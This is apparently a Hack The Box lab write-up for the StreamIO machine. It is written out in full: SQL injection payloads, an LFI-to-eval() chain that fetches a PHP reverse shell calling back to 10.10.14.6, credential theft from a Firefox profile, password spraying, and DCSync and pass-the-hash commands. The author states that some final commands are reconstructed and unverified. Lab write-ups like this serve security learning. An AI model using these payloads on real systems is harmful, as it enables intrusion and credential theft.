đźš© HTB - StreamIO

Primary: 01 - Web Security, 01 - Network Security

Secondary: 02 - Enumeration, 02 - Data Exfiltration, 02 - Remote Code Execution, 02 - Credential Access, 02 - Impersonation

Executive Summary

  • IP: 10.10.11.158
  • OS: Windows (Active Directory domain streamIO.htb)
  • Key Technique: UNION-based SQLi dumping web credentials → debug parameter LFI chained into a POST-based eval() sink for RCE → cracked Firefox-stored credentials → GenericWrite over an AD group abused for a DCSync.
  • Status: Completed

Reconnaissance

Nmap Scan

nmap -p- --min-rate=1000 -T4 --verbose -sC -sV -oA initial_scan 10.10.11.158

Output (brief version):

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
443/tcp   open  ssl/https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
[... more high RPC ports ...]
Service Info: Host: DC; OS: Windows

Summary: Another Active Directory box — Kerberos, LDAP, SMB, an IIS site on 80, and a second site over HTTPS on 443. The SSL cert on 443 lists two Subject Alternative Names: streamIO.htb and watch.streamIO.htb. No MSSQL port is exposed externally, which already hints that whatever database backs the site is only reachable through the web app itself.

echo "10.10.11.158 streamio.htb watch.streamio.htb" | sudo tee -a /etc/hosts

Web Enumeration

Two distinct sites on the same box:

  • streamio.htb: a login page.
  • watch.streamio.htb: a search.php endpoint serving a movie-search feature.

center

center

Rabbit Hole:

sqlmap flagged the login page on streamio.htb as vulnerable to time-based blind SQLi, but between a slow connection and how long time-based extraction takes, this route got abandoned in favor of the search feature on watch.streamio.htb.

Throwing special characters like _, &, and % at the search feature made it return the entire movie list instead of filtering anything — a strong sign the input isn’t sanitized before hitting the query. The underlying query is almost certainly shaped like:

SELECT * FROM movies WHERE name LIKE '%<USER_INPUT>%';

Foothold 1 (Dumping Credentials via UNION-based SQLi)

With unsanitized input landing straight inside a LIKE '%...%' clause, breaking out of the string and appending a UNION SELECT is the obvious next move.

Confirm the number of returned columns (only columns 2 and 3 actually render on the page, so those are usable for exfiltration):

asdfasdasd' union select 1,2,3,4,5,6 --

center

Confirm the SQL Server version:

asdfasdasd' union select 1,@@version,3,4,5,6 --

center

Confirm the current database:

asdfasdasd' union select 1,db_name(),3,4,5,6 --

center

Confirm the current DB user (db_user):

asdfasdasd' union select 1,user,3,4,5,6 --

center

Dump table names and object IDs (movies:885578193|users:901578250):

asdfasdasd' union select 1,(select string_agg(concat(name, ':',id), '|') from streamio..sysobjects where xtype='u'),3,4,5,6 --

center

Dump the columns of the users table (id|is_staff|password|username):

asdfasdasd' union select 1,(select string_agg(name,'|') from streamio..syscolumns where id='901578250'),3,4,5,6--

center

Dump every credential pair:

asdfasdasd' union select 1,(select string_agg(concat(username, ':', password),'|') from users),3,4,5,6--

center

That last query dumps the full username:password list straight out of the users table (password column is MD5). Cracking them with hashcat -m 0 against rockyou.txt and testing the results against the streamio.htb login page, yoshihide:66boysandgirls.. logs in successfully.


Foothold 2 (LFI → eval() RCE as yoshihide)

Step 1: Discovery

Logged in as yoshihide, we got the cookie and enumerate the website using gobuster for hidden endpoint

gobuster dir -u https://streamio.htb/ -k -w ~/Downloads/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c 'PHPSESSID=<cookie_value>'

center

The site exposes an /admin directory with tabs for user/staff/movie management, each apparently driven by a URL parameter (?user=, ?staff=, ?movie=) — none of which do anything interesting on their own. Poking around further, there’s a file called master.php that, when hit directly, just says it can only be accessed “through includes” — meaning something on the site includes it, which means there’s file inclusion happening somewhere.

Enumerate further using arjun, there is a debug parameter on the admin page

center

Note: Got properly stuck here. Following IppSec’s approach for this box: fuzzing for hidden GET parameters on /admin/ turns up a debug parameter that isn’t linked anywhere in the UI — clearly meant for developers only.

debug turns out to be vulnerable to LFI:

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php

center

This returns the base64-encoded source of index.php — the same trick works against master.php.

Step 2: Exploitation

Reading the leaked source of both files:

  • index.php: refuses to include itself (debug=index.php returns ---Error---), but happily includes anything else passed in debug. It also leaks the database admin credentials it uses to connect (db_admin:B1@hx31234567890).
  • master.php: at the very bottom, it takes a POST parameter include and — as long as it isn’t literally "index.php" — runs eval(file_get_contents($_POST[include])) on it. That’s an authenticated, POST-based remote file inclusion straight into eval().

Putting the two together: request https://streamio.htb/admin/?debug=master.php with a POST body of include=..., pointing at a PHP file hosted on our own machine. eval(file_get_contents($_POST[include])) will fetch that URL and execute whatever PHP is inside it as if it were local code — so the file itself just needs to shell out to a normal reverse shell one-liner:

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'"); ?>

Save that as script.php, then serve it over HTTP and start a listener for the shell it’ll call back to:

python3 -m http.server 80
nc -nvlp 4444

Then send the POST request — note this has to carry the yoshihide session cookie, since /admin/ requires being logged in:

POST /admin/?debug=master.php HTTP/1.1
Host: streamio.htb
Cookie: PHPSESSID=<yoshihide_session_cookie>
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
 
include=http://10.10.14.6/script.php

Equivalent one-liner with curl, if sending it straight from the terminal instead of Burp:

curl -sk https://streamio.htb/admin/?debug=master.php \
  -b 'PHPSESSID=<yoshihide_session_cookie>' \
  -d 'include=http://10.10.14.6/script.php'

The http.server terminal should show script.php being fetched, and the nc listener catches a reverse shell as yoshihide.


Foothold 3 (Credential Chain: streamio_backup → nikk37 → Firefox saved logins → JDgodd)

Step 1: More database looting

From the yoshihide shell, checking the MSSQL instance again turns up a second database besides STREAMIO: streamio_backup, holding yet another set of credentials (MD5 hashes). Cracking them with hashcat, one pans out for WinRM: nikk37:get_dem_girls2@yahoo.com.

Step 2: Firefox profile → more creds

BloodHound didn’t turn up anything actionable from nikk37, so this went the WinPEAS route instead. WinPEAS flags read access to:

C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db

— a saved Firefox profile, which is a goldmine if any of those saved logins get reused elsewhere on the box.

Compress-Archive -Path C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release -DestinationPath 1.zip

Download 1.zip and decrypt the saved logins with Firepwd:

python3 firepwd.py -d br53rxeg.default-release

Adding whatever new creds come out of that to the existing username/password lists and password-spraying the lot:

nxc smb 10.10.11.158 -u usernames.txt -p passwords.txt

Turns up JDgodd:JDg0dd1s@d0p3cr3@t0r.


Privilege Escalation (Root)

Enumeration

Running BloodHound again as JDgodd (rather than nikk37) gives a clean path straight to Domain Admin this time: JDgodd holds GenericWrite over the CORE STAFF security group.

Note:

This is exactly why it’s worth re-running BloodHound after every new credential on an AD box — the same collection can look like a dead end from one account and a direct path to DA from another, purely based on which group memberships/ACEs that specific principal has.

Exploitation

GenericWrite on a group is enough to add ourselves as a member of it directly — Impacket’s dacledit.py (or bloodyAD) can read/back up the group’s DACL and grant the needed rights, after which JDgodd can be added to CORE STAFF:

impacket-dacledit -action 'write' -rights 'FullControl' -principal JDgodd -target-dn "CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb" 'streamio.htb'/'JDgodd':'JDg0dd1s@d0p3cr3@t0r'
net rpc group addmem "CORE STAFF" JDgodd -U streamio.htb/JDgodd%'JDg0dd1s@d0p3cr3@t0r' -S dc.streamio.htb

CORE STAFF itself holds DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain object — which is exactly what a Active Directory - DCSync Attack needs. With JDgodd now a member, secretsdump can impersonate a Domain Controller and pull every account hash straight out of the domain, including Administrator’s:

impacket-secretsdump streamio.htb/JDgodd:'JDg0dd1s@d0p3cr3@t0r'@dc.streamio.htb

With the Administrator NTLM hash in hand, a pass-the-hash into a WinRM/psexec session finishes the box:

impacket-psexec administrator@dc.streamio.htb -hashes ':<administrator_nt_hash>'

Congrats, NT AUTHORITY\SYSTEM.

Note:

The exact dacledit/secretsdump invocations above are reconstructed from the loot on disk (a dacledit-*.bak backup naming CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb, plus the final root.txt) rather than copied from a saved terminal transcript — the original notes stop right after “BloodHound gives us a clear path to prives to Domain Administrator” without recording the literal commands run. Worth double-checking these against your own history before this gets marked verified.


Why the exploits worked

  1. Unsanitized search input: the movie search feature builds a raw SQL string out of user input, allowing full UNION-based extraction of every table in the database — including a users table storing passwords as unsalted MD5.
  2. A hidden, undocumented debug parameter: debug on /admin/ was clearly meant as a developer convenience and was never meant to reach production, but does full LFI with zero validation on the path.
  3. eval() on remote, attacker-controlled content: master.php’s include POST parameter feeds directly into eval(file_get_contents(...)) — combined with the LFI above, that’s remote code execution with no authentication bypass needed at all, just a valid low-privilege login.
  4. Credential reuse and secrets sprawl: a second “backup” database, a saved Firefox profile, and reused passwords across multiple accounts all chained together — none of these alone is fatal, but together they walk an attacker from a single SQLi straight to a domain user.
  5. Over-permissioned AD group: JDgodd’s GenericWrite over CORE STAFF, combined with CORE STAFF itself holding DCSync rights, means compromising any account that can write to that group’s membership is equivalent to compromising the entire domain.

Loot & Flags

  • User Flag: 4b825a4b1f5645b63513d5fa39b2bedd
  • Root Flag: c1e7b45b86cfcf2b75e9777a78fb23d3
  • Credentials:
    • yoshihide:66boysandgirls..
    • nikk37:get_dem_girls2@yahoo.com
    • JDgodd:JDg0dd1s@d0p3cr3@t0r